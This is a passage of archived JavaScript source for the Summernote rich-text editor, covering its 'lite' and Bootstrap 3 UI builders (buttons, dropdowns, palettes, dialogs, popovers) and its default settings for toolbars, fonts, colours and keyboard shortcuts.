'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); import '../summernote'; // eslint-disable-line js/lite/ui.js000064400000047013151677272030007107 0ustar00import renderer from '../base/renderer'; import TooltipUI from './ui/TooltipUI'; import DropdownUI from './ui/DropdownUI'; import ModalUI from './ui/ModalUI'; const editor = renderer.create('<div class="note-editor note-frame"/>'); const toolbar = renderer.create('<div class="note-toolbar" role="toolbar"/>'); const editingArea = renderer.create('<div class="note-editing-area"/>'); const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); const editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'); const statusbar = renderer.create([ '<output class="note-status-output" role="status" aria-live="polite"/>', '<div class="note-statusbar" role="resize">', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); const airEditor = renderer.create('<div class="note-editor"/>'); const airEditable = renderer.create([ '<output class="note-status-output" role="status" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); const buttonGroup = renderer.create('<div class="note-btn-group">'); const button = renderer.create('<button type="button" class="note-btn" role="button" tabindex="-1">', function($node, options) { // set button type if (options && options.tooltip) { $node.attr({ 'aria-label': options.tooltip }); $node.data('_lite_tooltip', new TooltipUI($node, { title: options.tooltip, container: options.container })); } if (options.contents) { $node.html(options.contents); } if (options && options.data && options.data.toggle === 'dropdown') { $node.data('_lite_dropdown', new DropdownUI($node, { container: options.container })); } }); const dropdown = renderer.create('<div class="note-dropdown-menu" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; const $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>'); $temp.html(content).data('item', item); return $temp; }) : options.items; $node.html(markup).attr({'aria-label': options.title}); $node.on('click', '> .note-dropdown-item', function(e) { const $a = $(this); const item = $a.data('item'); const value = $a.data('value'); if (item.click) { item.click($a); } else if (options.itemClick) { options.itemClick(e, item, value); } }); }); const dropdownCheck = renderer.create('<div class="note-dropdown-menu note-check" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; const $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>'); $temp.html([icon(options.checkClassName), ' ', content]).data('item', item); return $temp; }) : options.items; $node.html(markup).attr({'aria-label': options.title}); $node.on('click', '> .note-dropdown-item', function(e) { const $a = $(this); const item = $a.data('item'); const value = $a.data('value'); if (item.click) { item.click($a); } else if (options.itemClick) { options.itemClick(e, item, value); } }); }); const dropdownButtonContents = function(contents, options) { return contents + ' ' + icon(options.icons.caret, 'span'); }; const dropdownButton = function(opt, callback) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown({ className: opt.className, items: opt.items, template: opt.template, itemClick: opt.itemClick }) ], { callback: callback }).render(); }; const dropdownCheckButton = function(opt, callback) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdownCheck({ className: opt.className, checkClassName: opt.checkClassName, items: opt.items, template: opt.template, itemClick: opt.itemClick }) ], { callback: callback }).render(); }; const paragraphDropdownButton = function(opt) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown([ buttonGroup({ className: 'note-align', children: opt.items[0] }), buttonGroup({ className: 'note-list', children: opt.items[1] }) ]) ]).render(); }; const tableMoveHandler = function(event, col, row) { const PX_PER_EM = 18; const $picker = $(event.target.parentNode); // target is mousecatcher const $dimensionDisplay = $picker.next(); const $catcher = $picker.find('.note-dimension-picker-mousecatcher'); const $highlighted = $picker.find('.note-dimension-picker-highlighted'); const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); let posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { const posCatcher = $(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } const dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); }; const tableDropdownButton = function(opt) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown({ className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: function($node) { const $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: opt.col + 'em', height: opt.row + 'em' }) .mousedown(opt.itemClick) .mousemove(function(e) { tableMoveHandler(e, opt.col, opt.row); }); } }).render(); }; const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) { const contents = []; for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) { const eventName = options.eventName; const colors = options.colors[row]; const colorsName = options.colorsName[row]; const buttons = []; for (let col = 0, colSize = colors.length; col < colSize; col++) { const color = colors[col]; const colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-btn note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); $node.find('.note-color-btn').each(function() { $(this).data('_lite_tooltip', new TooltipUI($(this), { container: options.container })); }); }); const colorDropdownButton = function(opt, type) { return buttonGroup({ className: 'note-color', children: [ button({ className: 'note-current-color-button', contents: opt.title, tooltip: opt.lang.color.recent, click: opt.currentClick, callback: function($button) { const $recentColor = $button.find('.note-recent-color'); if (type !== 'foreColor') { $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } } }), button({ className: 'dropdown-toggle', contents: icon('note-icon-caret'), tooltip: opt.lang.color.more, data: { toggle: 'dropdown' } }), dropdown({ items: [ '<div>', '<div class="note-btn-group btn-background-color">', ' <div class="note-palette-title">' + opt.lang.color.background + '</div>', ' <div>', '<button type="button" class="note-color-reset note-btn note-btn-block" ' + ' data-event="backColor" data-value="inherit">', opt.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-btn-group btn-foreground-color">', ' <div class="note-palette-title">' + opt.lang.color.foreground + '</div>', ' <div>', '<button type="button" class="note-color-reset note-btn note-btn-block" ' + ' data-event="removeFormat" data-value="foreColor">', opt.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>', '</div>' ].join(''), callback: function($dropdown) { $dropdown.find('.note-holder').each(function() { const $holder = $(this); $holder.append(palette({ colors: opt.colors, eventName: $holder.data('event') }).render()); }); if (type === 'fore') { $dropdown.find('.btn-background-color').hide(); $dropdown.css({ 'min-width': '210px' }); } else if (type === 'back') { $dropdown.find('.btn-foreground-color').hide(); $dropdown.css({ 'min-width': '210px' }); } }, click: function(event) { const $button = $(event.target); const eventName = $button.data('event'); const value = $button.data('value'); if (eventName && value) { const key = eventName === 'backColor' ? 'background-color' : 'color'; const $color = $button.closest('.note-color').find('.note-recent-color'); const $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); if (type === 'fore') { opt.itemClick('foreColor', value); } else if (type === 'back') { opt.itemClick('backColor', value); } else { opt.itemClick(eventName, value); } } } }) ] }).render(); }; const dialog = renderer.create('<div class="note-modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ ' <div class="note-modal-content">', (options.title ? ' <div class="note-modal-header">' + ' <button type="button" class="close" aria-label="Close" aria-hidden="true"><i class="note-icon-close"></i></button>' + ' <h4 class="note-modal-title">' + options.title + '</h4>' + ' </div>' : '' ), ' <div class="note-modal-body">' + options.body + '</div>', (options.footer ? ' <div class="note-modal-footer">' + options.footer + '</div>' : '' ), ' </div>' ].join('')); $node.data('modal', new ModalUI($node, options)); }); const videoDialog = function(opt) { const body = '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.video.url + ' <small class="text-muted">' + opt.lang.video.providers + '</small>' + '</label>' + '<input class="note-video-url note-input" type="text" />' + '</div>'; const footer = [ '<button type="button" href="#" class="note-btn note-btn-primary note-video-btn disabled" disabled>', opt.lang.video.insert, '</button>' ].join(''); return dialog({ title: opt.lang.video.insert, fade: opt.fade, body: body, footer: footer }).render(); }; const imageDialog = function(opt) { const body = '<div class="note-form-group note-group-select-from-files">' + '<label class="note-form-label">' + opt.lang.image.selectFromFiles + '</label>' + '<input class="note-note-image-input note-input" type="file" name="files" accept="image/*" multiple="multiple" />' + opt.imageLimitation + '</div>' + '<div class="note-form-group" style="overflow:auto;">' + '<label class="note-form-label">' + opt.lang.image.url + '</label>' + '<input class="note-image-url note-input" type="text" />' + '</div>'; const footer = [ '<button href="#" type="button" class="note-btn note-btn-primary note-btn-large note-image-btn disabled" disabled>', opt.lang.image.insert, '</button>' ].join(''); return dialog({ title: opt.lang.image.insert, fade: opt.fade, body: body, footer: footer }).render(); }; const linkDialog = function(opt) { const body = '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.link.textToDisplay + '</label>' + '<input class="note-link-text note-input" type="text" />' + '</div>' + '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.link.url + '</label>' + '<input class="note-link-url note-input" type="text" value="http://" />' + '</div>' + (!opt.disableLinkTarget ? '<div class="checkbox">' + '<label>' + '<input type="checkbox" checked> ' + opt.lang.link.openInNewWindow + '</label>' + '</div>' : '' ); const footer = [ '<button href="#" type="button" class="note-btn note-btn-primary note-link-btn disabled" disabled>', opt.lang.link.insert, '</button>' ].join(''); return dialog({ className: 'link-dialog', title: opt.lang.link.insert, fade: opt.fade, body: body, footer: footer }).render(); }; const popover = renderer.create([ '<div class="note-popover bottom">', ' <div class="note-popover-arrow"/>', ' <div class="note-popover-content note-children-container"/>', '</div>' ].join(''), function($node, options) { const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction).hide(); if (options.hideArrow) { $node.find('.note-popover-arrow').hide(); } }); const checkbox = renderer.create('<div class="checkbox"></div>', function($node, options) { $node.html([ ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>', ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', (options.text ? options.text : ''), '</label>' ].join('')); }); const icon = function(iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; const ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, button: button, dropdown: dropdown, dropdownCheck: dropdownCheck, dropdownButton: dropdownButton, dropdownButtonContents: dropdownButtonContents, dropdownCheckButton: dropdownCheckButton, paragraphDropdownButton: paragraphDropdownButton, tableDropdownButton: tableDropdownButton, colorDropdownButton: colorDropdownButton, palette: palette, dialog: dialog, videoDialog: videoDialog, imageDialog: imageDialog, linkDialog: linkDialog, popover: popover, checkbox: checkbox, icon: icon, toggleBtn: function($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function($btn, isActive) { $btn.toggleClass('active', isActive); }, check: function($dom, value) { $dom.find('.checked').removeClass('checked'); $dom.find('[data-value="' + value + '"]').addClass('checked'); }, onDialogShown: function($dialog, handler) { $dialog.one('note.modal.show', handler); }, onDialogHidden: function($dialog, handler) { $dialog.one('note.modal.hide', handler); }, showDialog: function($dialog) { $dialog.data('modal').show(); }, hideDialog: function($dialog) { $dialog.data('modal').hide(); }, /** * get popover content area * * @param $popover * @returns {*} */ getPopoverContent: function($popover) { return $popover.find('.note-popover-content'); }, /** * get dialog's body area * * @param $dialog * @returns {*} */ getDialogBody: function($dialog) { return $dialog.find('.note-modal-body'); }, createLayout: function($note, options) { const $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: $editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.off('summernote'); // remove summernote custom event $note.show(); } }; export default ui; js/bs3/settings.js000064400000024100151677272030010054 0ustar00import $ from 'jquery'; import ui from '../bs3/ui'; import dom from '../base/core/dom'; import '../base/summernote-en-US'; import Editor from '../base/module/Editor'; import Clipboard from '../base/module/Clipboard'; import Dropzone from '../base/module/Dropzone'; import Codeview from '../base/module/Codeview'; import Statusbar from '../base/module/Statusbar'; import Fullscreen from '../base/module/Fullscreen'; import Handle from '../base/module/Handle'; import AutoLink from '../base/module/AutoLink'; import AutoSync from '../base/module/AutoSync'; import Placeholder from '../base/module/Placeholder'; import Buttons from '../base/module/Buttons'; import Toolbar from '../base/module/Toolbar'; import LinkDialog from '../base/module/LinkDialog'; import LinkPopover from '../base/module/LinkPopover'; import ImageDialog from '../base/module/ImageDialog'; import ImagePopover from '../base/module/ImagePopover'; import TablePopover from '../base/module/TablePopover'; import VideoDialog from '../base/module/VideoDialog'; import HelpDialog from '../base/module/HelpDialog'; import AirPopover from '../base/module/AirPopover'; import HintPopover from '../base/module/HintPopover'; $.summernote = $.extend($.summernote, { version: '@@VERSION@@', ui: ui, dom: dom, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': Codeview, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, linkTargetBlank: true, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: ['p', 'blockquote', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); import '../summernote'; // eslint-disable-line js/bs3/ui.js000064400000020241151677272030006633 0ustar00import $ from 'jquery'; import renderer from '../base/renderer'; const editor = renderer.create('<div class="note-editor note-frame panel"/>'); const toolbar = renderer.create('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>'); const editingArea = renderer.create('<div class="note-editing-area"/>'); const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); const editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'); const statusbar = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-statusbar" role="status">', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); const airEditor = renderer.create('<div class="note-editor"/>'); const airEditable = renderer.create([ ' <output class="note-status-output" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); const buttonGroup = renderer.create('<div class="note-btn-group btn-group">'); const dropdown = renderer.create('<ul class="dropdown-menu" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; const option = (typeof item === 'object') ? item.option : undefined; const dataValue = 'data-value="' + value + '"'; const dataOption = (option !== undefined) ? ' data-option="' + option + '"' : ''; return '<li role="listitem" aria-label="' + item + '"><a href="#" ' + (dataValue + dataOption) + '>' + content + '</a></li>'; }).join('') : options.items; $node.html(markup).attr({'aria-label': options.title}); }); const dropdownButtonContents = function(contents, options) { return contents + ' ' + icon(options.icons.caret, 'span'); }; const dropdownCheck = renderer.create('<ul class="dropdown-menu note-check" role="list">', function($node, options) { const markup = $.isArray(options.items) ? options.items.map(function(item) { const value = (typeof item === 'string') ? item : (item.value || ''); const content = options.template ? options.template(item) : item; return '<li role="listitem" aria-label="' + item + '"><a href="#" data-value="' + value + '">' + icon(options.checkClassName) + ' ' + content + '</a></li>'; }).join('') : options.items; $node.html(markup).attr({'aria-label': options.title}); }); const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) { const contents = []; for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) { const eventName = options.eventName; const colors = options.colors[row]; const colorsName = options.colorsName[row]; const buttons = []; for (let col = 0, colSize = colors.length; col < colSize; col++) { const color = colors[col]; const colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); if (options.tooltip) { $node.find('.note-color-btn').tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } }); const dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ '<div class="modal-dialog">', ' <div class="modal-content">', (options.title ? ' <div class="modal-header">' + ' <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button>' + ' <h4 class="modal-title">' + options.title + '</h4>' + ' </div>' : '' ), ' <div class="modal-body">' + options.body + '</div>', (options.footer ? ' <div class="modal-footer">' + options.footer + '</div>' : '' ), ' </div>', '</div>' ].join('')); }); const popover = renderer.create([ '<div class="note-popover popover in">', ' <div class="arrow"/>', ' <div class="popover-content note-children-container"/>', '</div>' ].join(''), function($node, options) { const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction); if (options.hideArrow) { $node.find('.arrow').hide(); } }); const checkbox = renderer.create('<div class="checkbox"></div>', function($node, options) { $node.html([ ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>', ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', (options.text ? options.text : ''), '</label>' ].join('')); }); const icon = function(iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; const ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, dropdown: dropdown, dropdownButtonContents: dropdownButtonContents, dropdownCheck: dropdownCheck, palette: palette, dialog: dialog, popover: popover, checkbox: checkbox, icon: icon, options: {}, button: function($node, options) { return renderer.create('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">', function($node, options) { if (options && options.tooltip) { $node.attr({ title: options.tooltip, 'aria-label': options.tooltip }).tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } })($node, options); }, toggleBtn: function($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function($btn, isActive) { $btn.toggleClass('active', isActive); }, onDialogShown: function($dialog, handler) { $dialog.one('shown.bs.modal', handler); }, onDialogHidden: function($dialog, handler) { $dialog.one('hidden.bs.modal', handler); }, showDialog: function($dialog) { $dialog.modal('show'); }, hideDialog: function($dialog) { $dialog.modal('hide'); }, createLayout: function($note, options) { const $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: 